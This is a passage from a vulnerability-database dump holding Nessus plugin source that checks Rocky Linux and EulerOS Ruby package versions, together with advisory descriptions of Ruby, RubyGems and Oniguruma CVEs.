{'reference':'rubygem-mysql2-debugsource-0.4.10-4.module+el8.4.0+592+03ff458a', 'cpu':'x86_64', 'release':'8', 'el_string':'el8.4.0', 'rpm_spec_vers_cmp':TRUE, 'exists_check':'rubygem-mysql2-debugsource-0.4'},\n {'reference':'rubygem-mysql2-debugsource-0.5.2-1.module+el8.4.0+593+8d7f9f0c', 'cpu':'aarch64', 'release':'8', 'el_string':'el8.4.0', 'rpm_spec_vers_cmp':TRUE, 'exists_check':'rubygem-mysql2-debugsource-0.5'},\n {'reference':'rubygem-mysql2-debugsource-0.5.2-1.module+el8.4.0+593+8d7f9f0c', 'cpu':'x86_64', 'release':'8', 'el_string':'el8.4.0', 'rpm_spec_vers_cmp':TRUE, 'exists_check':'rubygem-mysql2-debugsource-0.5'},\n {'reference':'rubygem-mysql2-debugsource-0.5.3-1.module+el8.4.0+594+11b6673a', 'cpu':'aarch64', 'release':'8', 'el_string':'el8.4.0', 'rpm_spec_vers_cmp':TRUE, 'exists_check':'rubygem-mysql2-debugsource-0.5'},\n {'reference':'rubygem-mysql2-debugsource-0.5.3-1.module+el8.4.0+594+11b6673a', 'cpu':'x86_64', 'release':'8', 'el_string':'el8.4.0', 'rpm_spec_vers_cmp':TRUE, 'exists_check':'rubygem-mysql2-debugsource-0.5'},\n {'reference':'rubygem-mysql2-doc-0.4.10-4.module+el8.4.0+592+03ff458a', 'release':'8', 'el_string':'el8.4.0', 'rpm_spec_vers_cmp':TRUE, 'exists_check':'rubygem-mysql2-doc-0.4'},\n {'reference':'rubygem-mysql2-doc-0.5.2-1.module+el8.4.0+593+8d7f9f0c', 'release':'8', 'el_string':'el8.4.0', 'rpm_spec_vers_cmp':TRUE, 'exists_check':'rubygem-mysql2-doc-0.5'},\n {'reference':'rubygem-mysql2-doc-0.5.3-1.module+el8.4.0+594+11b6673a', 'release':'8', 'el_string':'el8.4.0', 'rpm_spec_vers_cmp':TRUE, 'exists_check':'rubygem-mysql2-doc-0.5'},\n {'reference':'rubygem-pg-1.0.0-2.module+el8.4.0+592+03ff458a', 'cpu':'aarch64', 'release':'8', 'el_string':'el8.4.0', 'rpm_spec_vers_cmp':TRUE, 'exists_check':'rubygem-pg-1.0'},\n {'reference':'rubygem-pg-1.0.0-2.module+el8.4.0+592+03ff458a', 'cpu':'x86_64', 'release':'8', 'el_string':'el8.4.0', 'rpm_spec_vers_cmp':TRUE, 'exists_check':'rubygem-pg-1.0'},\n {'reference':'rubygem-pg-1.1.4-1.module+el8.4.0+593+8d7f9f0c', 'cpu':'aarch64', 'release':'8', 'el_string':'el8.4.0', 'rpm_spec_vers_cmp':TRUE, 'exists_check':'rubygem-pg-1.1'},\n {'reference':'rubygem-pg-1.1.4-1.module+el8.4.0+593+8d7f9f0c', 'cpu':'x86_64', 'release':'8', 'el_string':'el8.4.0', 'rpm_spec_vers_cmp':TRUE, 'exists_check':'rubygem-pg-1.1'},\n {'reference':'rubygem-pg-1.2.3-1.module+el8.4.0+594+11b6673a', 'cpu':'aarch64', 'release':'8', 'el_string':'el8.4.0', 'rpm_spec_vers_cmp':TRUE, 'exists_check':'rubygem-pg-1.2'},\n {'reference':'rubygem-pg-1.2.3-1.module+el8.4.0+594+11b6673a', 'cpu':'x86_64', 'release':'8', 'el_string':'el8.4.0', 'rpm_spec_vers_cmp':TRUE, 'exists_check':'rubygem-pg-1.2'},\n {'reference':'rubygem-pg-debuginfo-1.0.0-2.module+el8.4.0+592+03ff458a', 'cpu':'aarch64', 'release':'8', 'el_string':'el8.4.0', 'rpm_spec_vers_cmp':TRUE, 'exists_check':'rubygem-pg-debuginfo-1.0'},\n {'reference':'rubygem-pg-debuginfo-1.0.0-2.module+el8.4.0+592+03ff458a', 'cpu':'x86_64', 'release':'8', 'el_string':'el8.4.0', 'rpm_spec_vers_cmp':TRUE, 'exists_check':'rubygem-pg-debuginfo-1.0'},\n {'reference':'rubygem-pg-debuginfo-1.1.4-1.module+el8.4.0+593+8d7f9f0c', 'cpu':'aarch64', 'release':'8', 'el_string':'el8.4.0', 'rpm_spec_vers_cmp':TRUE, 'exists_check':'rubygem-pg-debuginfo-1.1'},\n {'reference':'rubygem-pg-debuginfo-1.1.4-1.module+el8.4.0+593+8d7f9f0c', 'cpu':'x86_64', 'release':'8', 'el_string':'el8.4.0', 'rpm_spec_vers_cmp':TRUE, 'exists_check':'rubygem-pg-debuginfo-1.1'},\n {'reference':'rubygem-pg-debuginfo-1.2.3-1.module+el8.4.0+594+11b6673a', 'cpu':'aarch64', 'release':'8', 'el_string':'el8.4.0', 'rpm_spec_vers_cmp':TRUE, 'exists_check':'rubygem-pg-debuginfo-1.2'},\n {'reference':'rubygem-pg-debuginfo-1.2.3-1.module+el8.4.0+594+11b6673a', 'cpu':'x86_64', 'release':'8', 'el_string':'el8.4.0', 'rpm_spec_vers_cmp':TRUE, 'exists_check':'rubygem-pg-debuginfo-1.2'},\n {'reference':'rubygem-pg-debugsource-1.0.0-2.module+el8.4.0+592+03ff458a', 'cpu':'aarch64', 'release':'8', 'el_string':'el8.4.0', 'rpm_spec_vers_cmp':TRUE, 'exists_check':'rubygem-pg-debugsource-1.0'},\n {'reference':'rubygem-pg-debugsource-1.0.0-2.module+el8.4.0+592+03ff458a', 'cpu':'x86_64', 'release':'8', 'el_string':'el8.4.0', 'rpm_spec_vers_cmp':TRUE, 'exists_check':'rubygem-pg-debugsource-1.0'},\n {'reference':'rubygem-pg-debugsource-1.1.4-1.module+el8.4.0+593+8d7f9f0c', 'cpu':'aarch64', 'release':'8', 'el_string':'el8.4.0', 'rpm_spec_vers_cmp':TRUE, 'exists_check':'rubygem-pg-debugsource-1.1'},\n {'reference':'rubygem-pg-debugsource-1.1.4-1.module+el8.4.0+593+8d7f9f0c', 'cpu':'x86_64', 'release':'8', 'el_string':'el8.4.0', 'rpm_spec_vers_cmp':TRUE, 'exists_check':'rubygem-pg-debugsource-1.1'},\n {'reference':'rubygem-pg-debugsource-1.2.3-1.module+el8.4.0+594+11b6673a', 'cpu':'aarch64', 'release':'8', 'el_string':'el8.4.0', 'rpm_spec_vers_cmp':TRUE, 'exists_check':'rubygem-pg-debugsource-1.2'},\n {'reference':'rubygem-pg-debugsource-1.2.3-1.module+el8.4.0+594+11b6673a', 'cpu':'x86_64', 'release':'8', 'el_string':'el8.4.0', 'rpm_spec_vers_cmp':TRUE, 'exists_check':'rubygem-pg-debugsource-1.2'},\n {'reference':'rubygem-pg-doc-1.0.0-2.module+el8.4.0+592+03ff458a', 'release':'8', 'el_string':'el8.4.0', 'rpm_spec_vers_cmp':TRUE, 'exists_check':'rubygem-pg-doc-1.0'},\n {'reference':'rubygem-pg-doc-1.1.4-1.module+el8.4.0+593+8d7f9f0c', 'release':'8', 'el_string':'el8.4.0', 'rpm_spec_vers_cmp':TRUE, 'exists_check':'rubygem-pg-doc-1.1'},\n {'reference':'rubygem-pg-doc-1.2.3-1.module+el8.4.0+594+11b6673a', 'release':'8', 'el_string':'el8.4.0', 'rpm_spec_vers_cmp':TRUE, 'exists_check':'rubygem-pg-doc-1.2'}\n];\n\nvar flag = 0;\nforeach var package_array ( pkgs ) {\n var reference = NULL;\n var release = NULL;\n var sp = NULL;\n var cpu = NULL;\n var el_string = NULL;\n var rpm_spec_vers_cmp = NULL;\n var epoch = NULL;\n var allowmaj = NULL;\n var exists_check = NULL;\n if (!empty_or_null(package_array['reference'])) reference = package_array['reference'];\n if (!empty_or_null(package_array['release'])) release = 'Rocky-' + package_array['release'];\n if (!empty_or_null(package_array['sp'])) sp = package_array['sp'];\n if (!empty_or_null(package_array['cpu'])) cpu = package_array['cpu'];\n if (!empty_or_null(package_array['el_string'])) el_string = package_array['el_string'];\n if (!empty_or_null(package_array['rpm_spec_vers_cmp'])) rpm_spec_vers_cmp = package_array['rpm_spec_vers_cmp'];\n if (!empty_or_null(package_array['epoch'])) epoch = package_array['epoch'];\n if (!empty_or_null(package_array['allowmaj'])) allowmaj = package_array['allowmaj'];\n if (!empty_or_null(package_array['exists_check'])) exists_check = package_array['exists_check'];\n if (reference && release && (!exists_check || rpm_exists(release:release, rpm:exists_check))) {\n if (rpm_check(release:release, sp:sp, cpu:cpu, reference:reference, epoch:epoch, el_string:el_string, rpm_spec_vers_cmp:rpm_spec_vers_cmp, allowmaj:allowmaj)) flag++;\n }\n}\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_WARNING,\n extra : rpm_report_get()\n );\n exit(0);\n}\nelse\n{\n var tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, 'pcs / pcs-snmp / rubygem-abrt / rubygem-abrt-doc / rubygem-bson / etc');\n}\n", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2023-05-20T14:57:15", "description": "The remote Oracle Linux 8 host has packages installed that are affected by multiple vulnerabilities as referenced in the ELSA-2021-2588 advisory.\n\n - The JSON gem through 2.2.0 for Ruby, as used in Ruby 2.4 through 2.4.9, 2.5 through 2.5.7, and 2.6 through 2.6.5, has an Unsafe Object Creation Vulnerability. This is quite similar to CVE-2013-0269, but does not rely on poor garbage-collection behavior within Ruby. Specifically, use of JSON parsing methods can lead to creation of a malicious object within the interpreter, with adverse effects that are application- dependent. (CVE-2020-10663)\n\n - Ruby through 2.4.7, 2.5.x through 2.5.6, and 2.6.x through 2.6.4 mishandles path checking within File.fnmatch functions. (CVE-2019-15845)\n\n - WEBrick::HTTPAuth::DigestAuth in Ruby through 2.4.7, 2.5.x through 2.5.6, and 2.6.x through 2.6.4 has a regular expression Denial of Service cause by looping/backtracking. A victim must expose a WEBrick server that uses DigestAuth to the Internet or a untrusted network. (CVE-2019-16201)\n\n - Ruby through 2.4.7, 2.5.x through 2.5.6, and 2.6.x through 2.6.4 allows HTTP Response Splitting. If a program using WEBrick inserts untrusted input into the response header, an attacker can exploit it to insert a newline character to split a header, and inject malicious content to deceive clients. NOTE: this issue exists because of an incomplete fix for CVE-2017-17742, which addressed the CRLF vector, but did not address an isolated CR or an isolated LF. (CVE-2019-16254)\n\n - Ruby through 2.4.7, 2.5.x through 2.5.6, and 2.6.x through 2.6.4 allows code injection if the first argument (aka the command argument) to Shell#[] or Shell#test in lib/shell.rb is untrusted data. An attacker can exploit this to call an arbitrary Ruby method. (CVE-2019-16255)\n\n - An issue was discovered in Ruby through 2.5.8, 2.6.x through 2.6.6, and 2.7.x through 2.7.1. WEBrick, a simple HTTP server bundled with Ruby, had not checked the transfer-encoding header value rigorously. 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A stack out-of-bounds read occurs in mbc_enc_len() during regular expression searching.\n Invalid handling of reg->dmin in forward_search_range() could result in an invalid pointer dereference, as an out-of-bounds read from a stack buffer.(CVE-2017-9227)\n\n - An issue was discovered in Oniguruma 6.2.0, as used in Oniguruma-mod in Ruby through 2.4.1 and mbstring in PHP through 7.1.5. A heap out-of-bounds write occurs in bitset_set_range() during regular expression compilation due to an uninitialized variable from an incorrect state transition. An incorrect state transition in parse_char_class() could create an execution path that leaves a critical local variable uninitialized until it's used as an index, resulting in an out-of-bounds write memory corruption.(CVE-2017-9228)\n\n - An issue was discovered in Oniguruma 6.2.0, as used in Oniguruma-mod in Ruby through 2.4.1 and mbstring in PHP through 7.1.5. A stack out-of-bounds read occurs in match_at() during regular expression searching. A logical error involving order of validation and access in match_at() could result in an out-of-bounds read from a stack buffer.(CVE-2017-9224)\n\n - A SMTP command injection flaw was found in the way Ruby's Net::SMTP module handled CRLF sequences in certain SMTP commands. An attacker could potentially use this flaw to inject SMTP commands in a SMTP session in order to facilitate phishing attacks or spam campaigns.(CVE-2015-9096)\n\n - Constructed ASN.1 types with a recursive definition (such as can be found in PKCS7) could eventually exceed the stack given malicious input with excessive recursion. This could result in a Denial Of Service attack. There are no such structures used within SSL/TLS that come from untrusted sources so this is considered safe. Fixed in OpenSSL 1.1.0h (Affected 1.1.0-1.1.0g). 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This attack appear to be exploitable via the victim must browse to a malicious gem on a vulnerable gem server. This vulnerability appears to have been fixed in 2.7.6.(CVE-2018-1000078)\n\n - RubyGems version Ruby 2.2 series: 2.2.9 and earlier, Ruby 2.3 series: 2.3.6 and earlier, Ruby 2.4 series:\n 2.4.3 and earlier, Ruby 2.5 series: 2.5.0 and earlier, prior to trunk revision 62422 contains a Improper Input Validation vulnerability in ruby gems specification homepage attribute that can result in a malicious gem could set an invalid homepage URL. This vulnerability appears to have been fixed in 2.7.6.(CVE-2018-1000077)\n\n - RubyGems version Ruby 2.2 series: 2.2.9 and earlier, Ruby 2.3 series: 2.3.6 and earlier, Ruby 2.4 series:\n 2.4.3 and earlier, Ruby 2.5 series: 2.5.0 and earlier, prior to trunk revision 62422 contains a Deserialization of Untrusted Data vulnerability in owner command that can result in code execution. This attack appear to be exploitable via victim must run the `gem owner` command on a gem with a specially crafted YAML file. This vulnerability appears to have been fixed in 2.7.6.(CVE-2018-1000074)\n\n - RubyGems version Ruby 2.2 series: 2.2.9 and earlier, Ruby 2.3 series: 2.3.6 and earlier, Ruby 2.4 series:\n 2.4.3 and earlier, Ruby 2.5 series: 2.5.0 and earlier, prior to trunk revision 62422 contains a Directory Traversal vulnerability in install_location function of package.rb that can result in path traversal when writing to a symlinked basedir outside of the root.\n This vulnerability appears to have been fixed in 2.7.6.(CVE-2018-1000073)\n\n - Ruby before 2.2.10, 2.3.x before 2.3.7, 2.4.x before 2.4.4, 2.5.x before 2.5.1, and 2.6.0-preview1 allows an HTTP Response Splitting attack. An attacker can inject a crafted key and value into an HTTP response for the HTTP server of WEBrick.(CVE-2017-17742)\n\n - Ruby through 2.4.7, 2.5.x through 2.5.6, and 2.6.x through 2.6.4 allows HTTP Response Splitting. If a program using WEBrick inserts untrusted input into the response header, an attacker can exploit it to insert a newline character to split a header, and inject malicious content to deceive clients. NOTE: this issue exists because of an incomplete fix for CVE-2017-17742, which addressed the CRLF vector, but did not address an isolated CR or an isolated LF.(CVE-2019-16254)\n\nNote that Tenable Network Security has extracted the preceding description block directly from the EulerOS security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.", "cvss3": {}, "published": "2020-04-16T00:00:00", "type": "nessus", "title": "EulerOS Virtualization 3.0.2.2 : ruby (EulerOS-SA-2020-1443)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2015-9096", "CVE-2016-7798", "CVE-2017-17742", "CVE-2017-9224", "CVE-2017-9227", "CVE-2017-9228", "CVE-2017-9229", "CVE-2018-1000073", "CVE-2018-1000074", "CVE-2018-1000077", "CVE-2018-1000078", "CVE-2018-1000079", "CVE-2019-16254", "CVE-2019-8321"], "modified": "2021-01-06T00:00:00", "cpe": ["p-cpe:/a:huawei:euleros:ruby", "p-cpe:/a:huawei:euleros:ruby-irb", "p-cpe:/a:huawei:euleros:ruby-libs", "p-cpe:/a:huawei:euleros:rubygem-bigdecimal", "p-cpe:/a:huawei:euleros:rubygem-io-console", "p-cpe:/a:huawei:euleros:rubygem-json", "p-cpe:/a:huawei:euleros:rubygem-psych", "p-cpe:/a:huawei:euleros:rubygem-rdoc", "p-cpe:/a:huawei:euleros:rubygems", "cpe:/o:huawei:euleros:uvp:3.0.2.2"], "id": "EULEROS_SA-2020-1443.NASL", "href": "https://www.tenable.com/plugins/nessus/135605", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(135605);\n script_version(\"1.4\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/06\");\n\n script_cve_id(\n \"CVE-2015-9096\",\n \"CVE-2016-7798\",\n \"CVE-2017-17742\",\n \"CVE-2017-9224\",\n \"CVE-2017-9227\",\n \"CVE-2017-9228\",\n \"CVE-2017-9229\",\n \"CVE-2018-1000073\",\n \"CVE-2018-1000074\",\n \"CVE-2018-1000077\",\n \"CVE-2018-1000078\",\n \"CVE-2018-1000079\",\n \"CVE-2019-16254\",\n \"CVE-2019-8321\"\n );\n\n script_name(english:\"EulerOS Virtualization 3.0.2.2 : ruby (EulerOS-SA-2020-1443)\");\n script_summary(english:\"Checks the rpm output for the updated packages.\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote EulerOS Virtualization host is missing multiple security\nupdates.\");\n script_set_attribute(attribute:\"description\", value:\n\"According to the versions of the ruby packages installed, the EulerOS\nVirtualization installation on the remote host is affected by the\nfollowing vulnerabilities :\n\n - An issue was discovered in RubyGems 2.6 and later\n through 3.0.2. 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CVE-2019-16254
